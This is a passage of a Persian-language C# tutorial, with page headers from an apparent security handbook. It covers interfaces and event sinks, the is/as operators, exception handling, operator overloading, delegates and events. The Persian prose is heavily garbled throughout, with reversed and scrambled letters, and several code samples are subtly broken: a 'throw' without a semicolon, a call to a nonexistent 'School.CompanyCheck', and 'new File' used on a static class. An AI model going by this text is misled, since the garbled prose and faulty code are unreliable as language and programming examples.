ده ک افت یدر هک  شود یم گفته یلاسک به نجایا درsink ی واژه . ندک یم ذخيره را شده sink یاه نترفيسیا تمام هیآرا نیا  اهرخداد  ی نن

 بر است شده ناميدهcookie نجایا در هک را هیآرا سیاند سپس و ندک یم ذخيره هیآرا یک در آنرا به واردهsink اهتن Advise متد . است
 سپس  و شود یم فرستاده سرور به ندک افتیدر را یرخداد يچونهه تمیآ آن از دهخوا ینم گرید هک ینتیلاک توسط کیوک نیا . گرداند یم

  .ردک دهخوا حذف ودشخ ليست از را تمیآ نیا سرور
 

  متد یفراخوان ی نحوه advise .است جالب نيز نتیلاک توسط
 

public void Init(CCommObj theSource) 
{ 
m_Server = theSource; 
theSource.Advise (this); 
string strAdd = ("Hello"); 
m_Server.read (strAdd,10); 
} 

  
ا یا در وان  this یک   اه تن نج ان  بعن د  هب  آرگوم تاده advice  مت ان  رفت  یم  انتظار  هک حالي در است  شده  فرس وع  از یآرگوم  ن

ICommObjEvents ه ابع  ب تاده  ت ل  .شود  فرس د  عمل  نی ا صحت  دلي رفيس یا از ClientApp_A لاسک  هک  است  صورت  نیب  نت
ICommObjEventsرده  ارث را  و است  ب اده  آن وده  یساز  پي ه  در .است  نم ه  امل ک ليست  ادام   حالت  در را شده  نوشته  ی برنام

Consoleيدیفرما یم ملاحظه.   
 

namespace CSharpCenter 
{ 
using System; 
public interface ICommObjEvents 
{ 
void OnDataSent(); 
void OnError(); 
} 
public class CCommObj 
{ 
private int m_nIndex; 
public ICommObjEvents [] m_arSinkColl; 
public CCommObj() 
{ 
m_arSinkColl = new ICommObjEvents[10]; 
m_nIndex = 0; 
} 
public void Advise(ICommObjEvents theSink) 
{ 
m_arSinkColl[m_nIndex] = theSink; 
m_nIndex++; 
} 
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public void SendData(string strData) 
{ 
foreach ( ICommObjEvents theSink in m_arSinkColl) 
{ 
if(theSink != null ) 
{ 
theSink.OnDataSent (); 
} 
} 
} 
} 
class CClientApp_A:ICommObjEvents 
{ 
public void OnDataSent() 
{ 
Console.WriteLine("OnDataSent Client App A"); 
} 
public void OnError() 
{ 
Console.WriteLine("OnError"); 
} 
public void Read() 
{ 
string strAdd = ("Hello"); 
m_Server.SendData (strAdd); 
} 
private CCommObj m_Server; 
public void Init(CCommObj theSource) 
{ 
m_Server = theSource; 
theSource.Advise (this); 
} 
} 
class CClientApp_B:ICommObjEvents 
{ 
public void OnDataSent() 
{ 
Console.WriteLine("OnDataSent Client App B"); 
} 
public void OnError() 
{ 
Console.WriteLine("OnError"); 
} 
private CCommObj m_Server; 
public void Init(CCommObj theSource) 
{ 
m_Server = theSource; 
theSource.Advise (this); 
} 
} 
class ConsoleApp 
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{ 
public static void Main() 
{ 
CClientApp_A theClient = new CClientApp_A (); 
CClientApp_B theClient2 = new CClientApp_B (); 
CCommObj theComm = new CCommObj (); 
theClient.Init (theComm); 
theClient2.Init (theComm); 
theClient.Read(); 
} 
} 
} 

  
Main متد در از نمونه یک و میا ردهک فیتعر نتیلاک دو ما ، فوق ی برنامه CCommObj نت یلاک دو را instance CCommObj 

د  نت یلاک ره  توسط  init یاه  یفراخوان م نگاه در . اند ردهک افتیدر آرگومان بعنوان را ردد  یم  یفراخوان  advise مت ه  در . گ  خاتم
Read ا  شود  یم  سبب هک است شده یفراخوان ١ نتیلاک به مربوط ه  و شود  اجرا CCommObj شی  OnDataSend رخداد  ت ام  ب  تم

ه  از یبعض ی ارائه مثال نیا از دفه .شود فرستاده اه نتیلاک رفيس یا یاه  جنب تفاده  ی نحوه  و اه  نت ود  اه آن از اس  گر ید مطلب  دو . ب
  :برسيم اهآن به مربوط بحث انیپا به تا اند مانده یباق اه نترفيسیا درمورد

 
  ؟است ردهک یساز پياده را نترفيسیا یک واقعا شی یک هک شد متوجه توان یم چگونه

 
  :دارد وجود موضوع نیا ميدنهف یبرا روش دو
  

 is یليدک ی لمهک از استفاده •
  

  as یليدک ی لمهک از استفاده •
  

  : ندک یم استفاده is یليدک ی لمهک از ریز مثال اولين
 

CClientApp_C theClient3 = new CClientApp_C (); 
if(theClient3 is ICommObjEvents) 
Console.WriteLine ("theClient3 implements ICommObjEvents"); 
else 
Console.WriteLine ("theClient3 doesnot implement ICommObjEvents"); 

  
 .باشد ردهک یساز پياده را راست سمت نترفيسیا ، چپ سمت اپراتور اگر گرداند یم بر را true مقدار is یليدک ی لمهک
  

ICommObjEvents theClient5 = theClient3 as ICommObjEvents; 
if(theClient5 != null ) 
Console.WriteLine ("Yes theClient implements interface"); 
else 
Console.WriteLine ("NO,Yes theClient doesn't implements interface"); 

  
 نترفيسیا CClientApp_C چون . باشد یم ICommObjEvents به theClient 5 شی  casting حال در as اپراتور فوق مثال در
   .بود دهخوا نال اول خط حاصل ندک ینم یساز پياده را
 
  : خلاصه صورت به
 

رفيس یا یک رارداد  نت ه  هک  است  یق ارانت  نت یلاک ب ه  خاص  لاسک  یک  ده د یم  یگ ار  چگون  یک  یلاس  کهک نگاميه . ردک  ده خوا رفت
ام  من : هک دیوگ یم اه نتیلاک تمام به ندک یم یساز پياده را نترفيسیا وارد  تم رفيس یا در شده  رک ذ م ه  را نت اده  و ارائ  مهخوا  یساز  پي
  .است dot net remoting  بحث اه نترفيسیا از استفاده یعمل ی نمونه . ردک
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  (#Exception Handling in C)شارپ سی در خطاها با مقابله
 
  

EXCEPTIONشارپ یس در . شود یم جادیا رنامهب در غيرنرمال یطیشرا بدليل هک است اجر زمان یخطا  یک exeption یلاسک 
 از شارپ  یس  . است شده دک در خطا دادن رخ سبب هک است یطیشرا بيانگرexception  نوع از ییا شی . سيستم نام یفضا در است

exceptionدینما یم استفاده پلاس پلاس یس و جاوا به شبيه بسيار یصورت به اه.  
  
   :است ریز شرح به گيرد صورت حتماexception handling  هبرنام در دیبا هک یلیدلا
  
 

 .ردک دهخوا پيدا خاتمه اجرا زمان یخطا یک با نگيرد نظر در را موضوع نیا یدک اگر و نيستند ردنک صرفنظر ابلق •
  

  .دهد یم سوق آن اصلاح به را ما و شده برنامه از نقطه یک در خطا شدن مشخص ببس •
 
  

 گرفته قرار try درون دهد رخ آن در ییخطا دارد احتمال هک یدک .داد انجام را اهخطا تیریمد توان یمtry...catch عبارات ی بوسيله
يله  سپس  و د  ای  یک  ی بوس ه  چن وان  یم catch ی  قطع را  ت د  آن تفاده  یابی خطا قطعات  نی ا از اگر  و . ردک  تیریم شود  اس ه  ن ه  برنام  ب

  : شد دهخوا متوقف ریز یاهصورت
 

class A {static void Main() {catch {}}} 
TEMP.cs(3,5): error CS1003: Syntax error, 'try' expected 
class A {static void Main() {finally {}}} 
TEMP.cs(3,5): error CS1003: Syntax error, 'try' expected 
class A {static void Main() {try {}}} 
TEMP.cs(6,3): error CS1524: Expected catch or finally 

ترهب نیا در را ساده مثال یک است  نيمک مرور زمينه  : 
int a, b = 0 ; 
Console.WriteLine( "My program starts " ) ; 
try 
{ 
a = 10 / b; 
} 
catch ( Exception e ) 
{ 
Console.WriteLine ( e ) ; 
} 
Console.WriteLine ( "Remaining program" ) ; 
The output of the program is: 
My program starts 
System.DivideByZeroException: Attempted to divide by zero. 
at ConsoleApplication4.Class1.Main(String[] args) in 
d:\dont delete\consoleapplication4\class1.cs:line 51 
Remaining program 

  
ردد  یمtry ی  قطعه ای و کبلو وارد سپس . ندک یم اجرا به شروع برنامه ا  يچه  اگر  . گ ام ه ییخط  رخ آن داخل  دستورات  یاجرا  نگ

 است  شده تقسيم صفر بر یعدد  try اولين در نجایا در اما .نداردcatch قطعات به یارک و ردک دهخوا شهج آخر خط به برنامه ، دهند
ا  و نوشته  شده داده رخ یطاخ نوع صرفا و شود یم منتقلcatch کبلو به برنامه نترلک نیبنابرا ه  سپس  .شود  یم  داده شینم ه  برنام  ب

  .دهد یم ادامه خودش یعاد ارک
  

  : ستنده ریز شرح به اند برده ارث  System.Exception لاسک از هک شارپ یس در exception یاه لاسک از یتعداد
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• Exception Class - - Cause 
• SystemException - A failed run-time check;used as a base class for other. 
• AccessException - Failure to access a type member, such as a method or field. 
• ArgumentException - An argument to a method was invalid. 
• ArgumentNullException - A null argument was passed to a method that doesn't accept it. 
• ArgumentOutOfRangeException - Argument value is out of range. 
• ArithmeticException - Arithmetic over - or underflow has occurred. 
• ArrayTypeMismatchException - Attempt to store the wrong type of object in an array. 
• BadImageFormatException - Image is in the wrong format. 
• CoreException - Base class for exceptions thrown by the runtime. 
• DivideByZeroException - An attempt was made to divide by zero. 
• FormatException - The format of an argument is wrong. 
• IndexOutOfRangeException - An array index is out of bounds. 
• InvalidCastExpression - An attempt was made to cast to an invalid class. 
• InvalidOperationException - A method was called at an invalid time. 
• MissingMemberException - An invalid version of a DLL was accessed. 
• NotFiniteNumberException - A number is not valid. 
• NotSupportedException - Indicates sthat a method is not implemented by a class. 
• NullReferenceException - Attempt to use an unassigned reference. 
• OutOfMemoryException - Not enough memory to continue execution. 
• StackOverflowException - A stack has overflown. 

  
 گرفت قرار استفاده مورد شود یم موارد نیا یتمام شامل هک اه لاسک نیا از نوع نیتر یعموم صرفا فوق دک در
 : یعنی

catch ( Exceptione ) 
  

 یابیخطا مثال نیا رد :گرید یمثال .نمود استفاده نظر مورد دافها یبرا فوق یاه لاسک از توان یم باشد دقيقتر یابیخطا به ینياز اگر
 .است  شده گنجانده نيزfinally  ومهمف مچنينه و فوق یاه لاسک از استفاده با تر قدقي
  

int a, b = 0 ; 
Console.WriteLine( "My program starts" ) ; 
try 
{ 
a = 10 / b; 
} 
catch ( InvalidOperationException e ) 
{ 
Console.WriteLine ( e ) ; 
} 
catch ( DivideByZeroException e) 
{ 
Console.WriteLine ( e ) ; 
} 
finally 
{ 
Console.WriteLine ( "finally" ) ; 
} 
Console.WriteLine ( "Remaining program" ) ; 
The output here is: 
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My program starts 
System.DivideByZeroException: Attempted to divide by zero. 
at ConsoleApplication4.Class1.Main(String[] args) in 
d:\dont delete\consoleapplication4\class1.cs:line 51 
finally 
Remaining program 

  
  .شود می اجرا ديگر ایه قسمت از صرفنظر موارهه فاينالی ی قطعه در موجود قسمت

  
  : نيدک دقت ریز مثال به 
 

int a, b = 0 ; 
Console.WriteLine( "My program starts" ) 
try 
{ 
a = 10 / b; 
} 
finally 
{ 
Console.WriteLine ( "finally" ) ; 
} 
Console.WriteLine ( "Remaining program" ) ; 
Here the output is 
My program starts 
Exception occurred: System.DivideByZeroException: 
Attempted to divide by zero.at ConsoleApplication4.Class1. 
Main(String[] args) in d:\dont delete\consoleapplication4 
\class1.cs:line 51 
finally 

  
  .است نشده اجرا Remaining program  چاپ قسمت

  
   throw :عبارت

  : مثال .شود یم برنامه در خطا یک جادیا سبب عبارت نیا
 
int a, b = 0 ; 
Console.WriteLine( "My program starts" ) ; 
try 
{ 
a = 10 / b; 
} 
catch ( Exception e) 
{ 
throw 
} 
finally 
{ 
Console.WriteLine ( "finally" ) ; 
} 

  
 .ندک یم پيدا خاتمه بلافاصله برنامه و شده اجرا ینالیفا قسمت حالت نیا در
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 (Operator OverLoading)ها  گر عمل گذاری بار سر
  
  
د هخوا یم  نيدک فرض . شود یم گفته اهگر عمل یگذار بار سر ، ما توسط اه گر عمل یاجرا روش و راه مجدد فیتعر به  را ٢ عدد  ي
  :شد دهخوا حاصل ریز یخطا .نيدک اضافه datetime مقدار یک به
 

CS0019: Operator '+' cannot be applied to operands of type 'System.DateTime' and 'int' 
  

ه  را ٢ عدد  توانستيم یم اگر بود جالب يم ک اضافه datetime ب داد  آن ی نتيجه  و ن ود  یم  دو ی بعلاوه  مشخص  یاه روز تع ه یا .ب  نگون
   :ردک overload  توان یم را ریز یاه عملگر اهتن .ردک جادیاoperator overloading ی  بوسيله توان یم را اه ییتوانا

 
Unary Operators 
+ - ! ~ ++ -- true false 
Binary Operators 
+ - * / % & | ^ << >> == != > < >= <= 

  
  :است ریز صورت به یلک حالت در نيز ارکنیا انجام ی نحوه

  
return_datatype operator operator_to_be_overloaded (agruments) 
{ 
} 

  
  :نيدک توجه ریز مثال به
 

using System; 
class MyDate 
{ 
public DateTime tempDate; 
public MyDate(int year,int month,int day) 
{ 
tempDate=new DateTime(year,month,day); 
} 
public static DateTime operator + (MyDate D,int noOfDays) 
{ 
return D.tempDate.AddDays(noOfDays); 
} 
public static DateTime operator + (int noOfDays,MyDate D) 
{ 
return D.tempDate.AddDays(noOfDays); 
} 
} 
class Test 
{ 
static void Main() 
{ 
MyDate MD=new MyDate(2001,7,16); 
Console.WriteLine(MD + 10 ); 
} 
} 
output: 
2001-07-26 
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وان  یم  آن توسط باریک . است شده overload دوبار  +گر عمل فوق مثال در ه  را صحيح  عدد  یک  ت ار  یک  ب ار  و ردک  اضافه  خیت  ب
  :باشيد داشته خاطر به اهگر عمل یگذار بار سر نگامه را ریز موارد .افزود صحيح عدد به انتو یم را خیتار یک یک گرید
  

وان  یم  را شده رکذ یاه اپراتور اهنت • ور  .ردک  overload  ت د  ییاه  اپرات ره  و new,typeof, sizeof مانن وان  ینم  را غي  ت
 .نمود یگذار سربار

 
  .باشد void تواند ینم اه گر عمل یگذار بار سر در شده گرفته ارکب یاهمتد یروجخ •

 
را  هک یمتد در شده گرفته ارکب یا هآرگومان از یکی داقلح • وع  از دی با رود یم  ارک ب اه گر عمل overloading ی ب  لاسک  ن

 .باشد متد یحاو
  

  .شوند فیتعر static و public صورت به دیبا مربوطه یاهتدم •
  

 .يدینما یگذار بار سر مه را > یعنی آن متناظر جفت دیبا نيدک یم یگذار بار سر را < اپراتور هک ینگامه •
  

 .نيست آن یبرا یسینو دک به ینياز و است شده overload نيز += خودبخود نيدک یم overload را + مثال یبرا هکنگاميه •
 
  

 امانج یبرا یلاسک ساختن و یبعد سه یسینو برنامه در اهعملگر یسربارگذار یگير ارکب جالب موارد از یکی
 .باشد یم یبردار و یسیماتر عمليات

  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٩٦١    صفحه

Delegates:   
  

Delegates و مطمئن یروش شارپ یس در typesafe ومهمف یگير ارکب یبرا را function pointer دا  از یکی  .ندهديم ارائه  ییابت
ا  .باشد  یم  callback ی ساز پياده function pointers یاه استفاده نیتر دا  در ام ا  است  لازم ابت ا  ت ه  اصول  ب نا  آن یارک  ی اولي  آش
 .میشو
 

  : یک مثال
  

  شود؟ یم استفاده و فیتعر چگونه delegate یک
Delegate ابع  یک یورود آرگومان بعنوان تواند یم نیبنابرا باشد یم تابع یک بيانگر هک است شی یک  یک  از یعضو  ای  و گر ید ت

ه  یگر  اشاره()function-pointer" ، Func1"زبان در .رود ارکب لاسک وان  را() Func 2 ب ارامتر  بعن ا یاهن و ردهک  افت یدر پ را   ت آن
  .ندک یم یفراخوان

  
 .ندک یم یفراخوان آنرا سپس و ردهک افتیدر را() Func 2  ازdelegate شی یک()delegate" ، Func1"زبان در
 
 :است دهش جسته سود مطلب نیا شرح یبرا تابع دو از ریز مثال در
  

Func1()از delegate ندک یم استفاده.  
  

Func2()یک delegate است.  
 
  
  

را  صرفا ، ریز دک در ، خطوط یگذار شماره ر  راحت  یب ورد  در توضيحات  شدن  ت ه  یلزوم  و است  اه آن م ه  در اه آن پی تا ب  ی برنام
  .نيست  یاصل

 
01 using System; 
02 delegate void Delg(string sTry); 
03 public class Example1{ 
// function which uses the delegate object 
04 private static void Func1(Delg d){ 
05 d("Passed from Func1"); 
06 } 
// function which is passed as an object 
07 private static void Func2(string sToPrint){ 
08 Console.WriteLine("{0}",sToPrint); 
09 } 
// Main execution starts here 
10 public static void Main(){ 
11 Delg d = new Delg(Func2); 
12 Func1(d); 
13 } 
14 } 
 

LINE 02  
 

   .ندک یم فیتعرFunc 2 ی برا را delegate شی یک
  

LINE 04-06 
  

  .است Delg نوع از آن یورود آرگومان هک است ردهک فیتعر را یتابع
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LINE 07-09 

  
  .شود فرستاده دیگر تابع  به delegate صورت به باید که کند می تعریف را تابعی

  
  

LINE 10-14  
  

Mainتابع شی یک جادیا با را برنامه ی اجرا delegateی  برا Func 2تابع سپس و ردهک  آغاز  Func 1ندک یم یفراخوان را. 
  
  
   :٢ ثالم
  

   رد؟ک استفاده یعمل یاهارک درdelegates از توان یم چگونه
 

  :مساله یک طرح
 

 ره . است داده را تکشر یک در یابیارک یتقاضا مچنينه و یآموزش ی مؤسسه یک در نام ثبت یتقاضا یشخص
 جنس  / سن مچونه یمشخصات شخص گرا شی یروش با حل راه .دارند شخص یابیارز یبرا را خود خاص یروش اهادهن نیا از دامک
 شخص یابیارز یبرا را مشخصات نیا از یتعداد یآموزش ی مؤسسه.دارد مرتبط کمدار و یارک تجربيات / یقبل تحصيلات ميزان /

  .است صادق نيز شده اد یتکشر مورد در امر نیا و ندک یم استفاده
 

د ک یم یساز پياده را خودشان خاص یابیارز توابع دامک ره آموزشگاه شی و تکشر شی س یا ، شخص  .نن ار  رد را یواحد  ینترفي  اختي
تفاده  بای ساز پياده .دهد یم قرار خود یابیارز یبرا آموزشگاه / تکشر ا  شارپ  یس  از اس ی ا  delegate م يم ک یم  فی تعر را ی  هک  ن

  .دهد یم را شخص ردنک کچ ی اجازه آموزشگاه و تکشر به هک است ینترفيسیا بيانگر
  
   .نيمک یم جادیا موارد نیا آزمودن یبرا راtest  سلاک .يمینما یم فیتعر راperson  و company و school لاسک سه
 

01 using System; 
02 using System.Collections; 
03 public delegate bool GetChecker(Person p); 
// Person has his information with him as he 
// applies for School and Company 
04 public class Person 
05 { 
06 public string Name; 
07 public int Age; 
08 public bool Graduate; 
09 public int YearsOfExp; 
10 public bool Certified; 
11 public Person(string name, 
int age, 
bool graduate, 
int yearsOfExp, 
bool certified) 
12 { 
13 Name=name; 
14 Age=age; 
15 Graduate=graduate; 
16 YearsOfExp=yearsOfExp; 
17 Certified=certified; 
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18 } 
19 public bool CheckMe(GetChecker checker) 
20 { 
21 return(checker(this)); 
22 } 
23 } 
// A school, the person applied for higher studies 
24 public class School 
25 { 
26 public static bool SchoolCheck(Person p) 
27 { 
28 return (p.Age>10 && p.Graduate); 
29 } 
30 } 
// A Company, the person wants to work for 
31 public class Company 
32 { 
33 public static bool CompanyCheck(Person p) 
34 { 
35 return (p.YearsOfExp>5 && p.Certified); 
36 } 
37 } 
// A Test class, displays delegation in action 
38 public class Test 
39 { 
40 public static void Main() 
41 { 
42 Person p1 = new Person("Jack",20,true,6,false); 
43 Console.WriteLine("{0} School Check : {1}", 
p1.Name, 
p1.CheckMe(new GetChecker(School.SchoolCheck))); 
44 Console.WriteLine("{0} Company Check : {1}", 
p1.Name, 
p1.CheckMe(new GetChecker(Company.CompanyCheck))); 
45 } 
46 } 

  
LINE 03 

  
Delegateندک یم فیتعر را نياز  مورد.   

  
LINE 04-23 

  .باشد یم GetChecker نوع از آن یورود آرگومان هک دهد یم ارائه را کپابلي یتابع لاسک نیا . ندک یم فیتعر راperson  لاسک
 

LINE 24-30 
  
   .دهد یم ارائه استdelegate هک را یتابع سپس و ندک یم فیتعر را school لاسک
 

LINE 31-37 
  
   .دهد یم ارائه استdelegate هک را یتابع سپس و ندک یم فیتعر را company لاسک
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LINE 38-36 

اده را test لاسک از پي پس . دینما یم یس ک س ی ی خص ش اخته ش ود یم س ه در . ش  new ادام
GetChecker(Company.CompanyCheck) و new GetChecker(School.SchoolCheck)  ی ا شی اد یا را ی د ک یم  ج  از ن

 .باشد یم شخص نیا یابیارز ی نتيجه یخروج . فرستد یم CheckMe تابع به آنرا و نياز مورد delegate نوع
  

  :شود یم عمل صورت نیا به باشد نياز یبيشتر اشخاص ردنک کچ اگر
  

Person p1 = new Person("Jack",20,true,6,false); 
Person p2 = new Person("Daniel",25,true,10,true); 
GetChecker checker1= new GetChecker(School.SchoolCheck); 
GetChecker checker2= new GetChecker(School.CompanyCheck); 
Console.WriteLine("{0} School Check : {1}", 
p1.Name,p1.CheckMe(checker1)); 
Console.WriteLine("{0} Company Check : {1}", 
p1.Name,p1.CheckMe(checker2)); 
Console.WriteLine("{0} School Check : {1}", 
p2.Name,p2.CheckMe(checker1)); 
Console.WriteLine("{0} Company Check : {1}", 
p2.Name,p2.CheckMe(checker2)); 

  
   :٣ ثالم
  

Delegates دارد؟ ینقش چه شارپ یس و کور میفر نت دات بين تعامل در  
 

  :مساله یک طرح
 
تفاده  ا ب حل  اه راست  ادیز بسيار لیفا حجم هک ینگامه لیفا یک خواندن پيشرفت ميزان دادن شینما ال  درارپ ش  یس  از اس  از ری ز مث
دن  مشغول برنامه هکنگاميه . است شده استفاده حجيم لیفا یک نخواند یبرا FileReader  لاسک  را Still reading' است  لی فا خوان
  کند  یم عرضه را '..Finished reading'انیپا در و دهد یم شینما
 
 ترتيب نیبد . باشد یم ما یبرا شده ياهم ییاdelegate  است شده استفاده یحاو نام یفضا نیا System.IO نام یفضا از ارکنیا یبرا
 آنرا تواند یم او هک میا ردهک فیتعر را یتابع ما هک يمیبگو کور میفر نت دات به توانيم یم

  .ندک یفراخوان
  

د؟ ک اجرا  و یفراخوان را ما تابع کور میفر نت دات تا دارد وجود ینياز چه :سؤال ا  ن تفاده  ب ابع  از اس ا  ت ر  نت  دات هک  م را  میف  صدا  آن
ه  ! ستمه  خواندن مشغول نوزه من !بله هک شود یم گفته ما به لیفا دنخوان طول در زد دهخوا ات  نی ا ب ز  Callback عملي ه  ني  یم  گفت
  !ندیگو یم نيز asynchronous  پردازش ارکنیا به .شود

 
01 using System; 
02 using System.IO; 
03 public class FileReader{ 
04 private Stream sInput; 
05 private byte[] arrByte; 
06 private AsyncCallback callbackOnFinish; 
07 public FileReader(){ 
08 arrByte=new byte[256]; 
09 callbackOnFinish = new AsyncCallback(this.readFinished); 
10 } 
11 public void readFinished(IAsyncResult result){ 
12 if(sInput.EndRead(result)>0){ 
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13 sInput.BeginRead(arrByte, 
0, 
arrByte.Length, 
callbackOnFinish, 
null); 
14 Console.WriteLine("Still reading.."); 
15 } 
16 else Console.WriteLine("Finished reading.."); 
17 } 
18 public void readFile(){ 
19 sInput = File.OpenRead(@"C:\big.dat"); 
20 sInput.BeginRead(arrByte, 
0, 
arrByte.Length, 
callbackOnFinish, 
null); 
21 for(long i=0;i<=1000000000;i++){ 
// just to introduce some delay 
22 } 
23 } 
24 public static void Main(){ 
25 FileReader asynctest=new FileReader(); 
26 asynctest.readFile(); 
27 } 
28 } 

  
LINE 02 

  
  :باشد یم ریز delegate  فیتعر یحاو ارکخود صورت به نام یفضا نیا .ندک یم ملحق برنامه به را System.IO امن یفضا

 
public delegate void AsyncCallback (IAsyncResult ar); 

  
LINE 03-10 

  لاسک فیتعر
 

LINE 06 
  .ندک یم فیتعر را delegate شی

  
LINE 07-10 

  .بخوانيم لحظه ره در را تیبا ٢۵۶ یحاو یبافر هک میا گرفته تصميم ما جا نیا در . نندک یم یساز پياده را لاسک ی سازنده
 

LINE 09 
   .است شده یساز نمونهdelegate شی

  
LINE 18-23  

readFile ندک یم یساز پياده را.   
 

LINE 12-16 
  .ندک یم بيان را IAsyncResult شی از استفاده ی نحوه

  
LINE 12 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٩٦٦    صفحه

sInput.EndRead(result) ده  یاهتیبا تعداد هک ییتاجا خواندن نیا . گرداند یم بر را شده خوانده یاهتیبا تعداد  است  صفر  شده  خوان
   .گردد یم اعلام '..Finished reading' نجایا در و ندک یم پيدا ادامه
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Delegates and Events 
  
  

Delegates 
  

Delegates ع  مستقيم غير یفراخوان ی اجازه هک ندیآ یم شمار به مرجع یاه نوع از سر  را تواب د ک یم  مي ه  . نن اد یا ی نمون   از شده  ج
Delegates س یر د  از را یفرن ابع  نیچن ا  و دارد یم  نگه  خود  در ت ام   Delegateیک  یفراخوان  ب ع  نی ا تم د  یم  اجرا  تواب  و .گردن

 معادل ومهمف نیا شد رکذ نيز يشينپ یاه قسمت در هک مانطوره
function pointers در C++سپرد خاطر به دیبا را تهکن دو نجایا در .باشد یم:   

  
• Delegates اشياء و اه رشته مانند فرنسیر یاه نوعی عدد یاه نوع نه و ندیآ یم شمار به مرجع یاه نوع از . 
   .دارد نگه خودش در را متد نیچند از یارجاع تواند یمDelegate یک  •

  
  

   Delegates :ی اوليه هید مقدار و فیتعر
 

Delegate وان  یم  را ضا  در ت ام  یف ود  فی تعر لاسک  یک  در ای  و خودش  خاص  ن  یک   از فی تعر نی ا حالت  ره  در . نم
System.MulticastDelegateاست شده مشتق.   

  
   :دیبگير نظر در را ریز مثال .گردد یم محدود ژهیو ینوع با توابع از یمرجع یدارهنگ بهdelegate ره
 

public delegate void Print (String s); 
  

delegate استفاده ، باشند نیا از یم یخروج يچگونهه بدون و رشته نوع از یورود پارامتر یک یدارا اهتن هک یتوابع به ارجاع یبرا 
 :باشد ریز متد یحاو یلاسک هک نيدک فرض مثال یبرا .شود یم
 
  

1. public void realMethod (String myString) 
2. { 
3. // method code 
4. } 

  
  :ندک یساز نمونه ریز لکش به را Print' delegate'تواند یم لاسک نیا در گرید یمتد

  
Print delegateVariable = new Print(realMethod); 

  
  .دارد یم نگه خود در را 'realMethod'از یمرجع حقيقت در هک
  
  
   :'multicast delegates'  تهکن
  
ند  داشته void یخروج دیبا حتما اه نوع نیا . ندینما ارجاع یمختلف یاهمتد به مزمانه توانند یم delegates  نوع نیا را   .باش  ارک  یب
  :مثال یبرا .نمود استفاده اهآن به مراجع نمودن مک ای و اضافه یبرا نيز – ای و + یاه عملگر از توان یم multicast delegates با
 

1. Print s = null; 
2. s = s + new Print (realMethod); 
3. s += new Print (otherRealMethod); 
یم بيان عمل در را ندک  : delegates ریز مثال  از استفاده روش 
1. using System; 
2. using System.IO; 
3. 
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4. public class DelegateTest 
5. { 
6. public delegate void Print (String s); 
7. 
8. public static void Main() 
9. { 
10. Print s = new Print (toConsole); 
11. Print v = new Print (toFile); 
12. Display (s); 
13. Display (v); 
14. } 
15. 
16. public static void toConsole (String str) 
17. { 
18. Console.WriteLine(str); 
19. } 
20. 
21. public static void toFile (String s) 
22. { 
23. File f = new File("fred.txt"); 
24. StreamWriter fileOut = f.CreateText(); 
25. fileOut.WriteLine(s); 
26. fileOut.Flush(); 
27. fileOut.Close(); 
28. } 
29. 
30. public static void Display(Print pMethod) 
31. { 
32. pMethod("This should be displayed in the console"); 
33. } 
34. } 

  
ه  اه  delegate نی ا سپس .است رفتهیپذ را یمتفاوت یاهپارامتر و شده یساز نمونه دوبار Print delegate فوق مثال Main متد در  ب
   .اند شده پاس Display تابع

  
Events 

  
د  افتادن ارکب آن ی نتيجه سپس و مهکد یک یرو بر اربرک ردنک کليک یگردان دادیرو و اهدادیرو بحث از ساده یمثال د  نیچن را  مت  یب
ه  دیبا اهآن هک است نیا در یمعمول یاهمتد با دادیرو یاهمتد تفاوت . باشد یم آن نیا تیریمد  ره  . شوند  یفراخوان  یخارج  صورت  ب

  .شود گرفته نظر در رخداد یک نبعنوا تواند یم برنامه وضعيت در یداخل تغيير گونه
  
 خاص رخداد یک در subscription به قادر دیبا دلخواه لاسک یک . نندک یم یپيرو 'subscription-notification'مدل از اه دادیرو
د   افتیدر راnotification یک  دادیرو یرخداد هک ینگامه سپس و باشد دل  multicast delegates  خصوصا  و Delegates. کن  م
   .بخشند یم عينيت را فوق

 
  :ميشود آبونه ١ لاسک طرف از شده صادر رخداد در ٢ لاسک چگونه هک دهد یم نشان ریز مثال

  
  .است  D ، public multicast delegateی حاو لاسک نیا . باشد یم E ی اهرخداد ی نندهک صادر یک لاسک -١
  
 یم اضافه را M از یفرنسیر D به نیبنابرا . دهد نشان العمل سکع دادیرو نیا به دهخوا یم M گردان دادیرو متد توسط دو لاسک -٢
  .دینما
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د  هک  است یافک اهتن ندک صادر را E  رخداد خواست هک ینگامه یک لاسک -٣ ام  شود  یم  سبب  امر  نی ا . دی نما یفراخوان  راD مت  تم
  .گردند  یفراخوان E رخداد در شده آبونه یاهمتد

  
   :يدینما دقت ریز مثال به . گردد یم استفادهmulticast delegates فیتعر یبرا 'event'یليدک ی واژه از
 

1. public class EventIssuer 
2. { 
3. public delegate void EventDelegate(object from, EventArgs args); 
4. public event EventDelegate myEvent; 
5. 
6. public void issueEvent(EventArgs args) 
7. { 
8. myEvent(this, args); 
9. } 
10. } 

  
 رخداد ، گردد یم یفراخوان issueEvent  متد هکنگاميه . است myEvent دادیرو فیتعر یحاو EventIssuer  لاسک فوق مثال در

myEvent توسط یلاسک اگر .شود یم یفراخوان نيز  EventIssuerei ه  دادی رو نی ا در داشت  لی تما ه  دی اب شود  آبون  ری ز صورت  ب
 :دینما عمل

  
ei.myEvent += new EventIssuer.EventDelegate(handleEvents); 

  
  : قسمت نیا مرجع

  
  Softsteel Solutions C# Tutorial .قسمت Borland C# builder مراهه ینماهرا
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  (Events) :رخدادها تکميلی مباحث
 
  
  

اق  از را خودش  یاه  نت یلاک تواند یم لاسک یک آن توسط هک است یانيزمکم رخداد ادن  اتف اخبر  یامر  افت   توسط  اهرخداد  . سازد  ب
Delegates سمت  به قسمت سپس . نمود ملاحظه را املک ی برنامه یک ابتدا در است ترهب بيشتر توضيحات یبرا .شوند یم فیتعر  ق

 :گشت دهخوا آناليز آن
 

using System; 
public delegate void DivBySevenHandler(object o, DivBySevenEventArgs e); 
public class DivBySevenEventArgs : EventArgs 
{ 
public readonly int TheNumber; 
public DivBySevenEventArgs(int num) 
{ 
TheNumber = num; 
} 
} 
public class DivBySevenListener 
{ 
public void ShowOnScreen(object o, DivBySevenEventArgs e) 
{ 
Console.WriteLine( 
